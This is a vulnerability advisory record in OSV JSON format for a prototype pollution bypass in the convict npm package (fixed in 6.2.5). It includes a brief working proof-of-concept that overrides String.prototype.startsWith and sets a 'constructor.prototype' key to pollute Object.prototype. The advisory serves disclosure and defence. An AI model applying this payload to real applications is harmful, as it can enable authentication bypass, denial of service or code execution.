Vulnerabilities in pkg:npm/convict

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-44fc-8fm5-q62h",
  "modified" : "2026-03-26T18:55:41Z",
  "published" : "2026-03-26T18:55:41Z",
  "aliases" : [ "CVE-2026-33864" ],
  "summary" : "Convict has Prototype Pollution via startsWith() function",
  "details" : "### Summary\nA prototype pollution vulnerability exists in the latest version of the convict npm package (6.2.4). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input started with a forbidden key, it is still possible to pollute `Object.prototype` via a crafted input using `String.prototype`. \n\n### Details\nThe vulnerability resides in line 564 of https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js where `startsWith()` function is used to check whether user provided input contain forbidden strings. \n\n### PoC\n#### Steps to reproduce\n1. Install latest version of convict using `npm install` or cloning from git\n2. Run the following code snippet:\n\n```javascript\nString.prototype.startsWith = () => false; \nconst convict = require('convict');\nlet obj = {};\nconst config = convict(obj);\nconsole.log({}.polluted);\nconfig.set('constructor.prototype.polluted', 'yes');\nconsole.log({}.polluted);    // prints yes -> the patch is bypassed and prototype pollution occurred\n```\n\n#### Expected behavior\nPrototype pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\n`Object.prototype` is polluted \nThis is printed on the console:\n```\nundefined \nyes\n```\n\n### Impact\nThis is a prototype pollution vulnerability, which can have severe security implications depending on how convict is used by downstream applications. Any application that processes attacker-controlled input using `convict.set`  may be affected.\nIt could potentially lead to the following problems:\n\n1. Authentication bypass\n2. Denial of service\n3. Remote code execution (if polluted property is passed to sinks like eval or child_process)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "convict"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.2.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 6.2.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mozilla/node-convict/security/advisories/GHSA-44fc-8fm5-q62h"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mozilla/node-convict"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-26T18:55:41Z",
    "nvd_published_at" : null
  }
}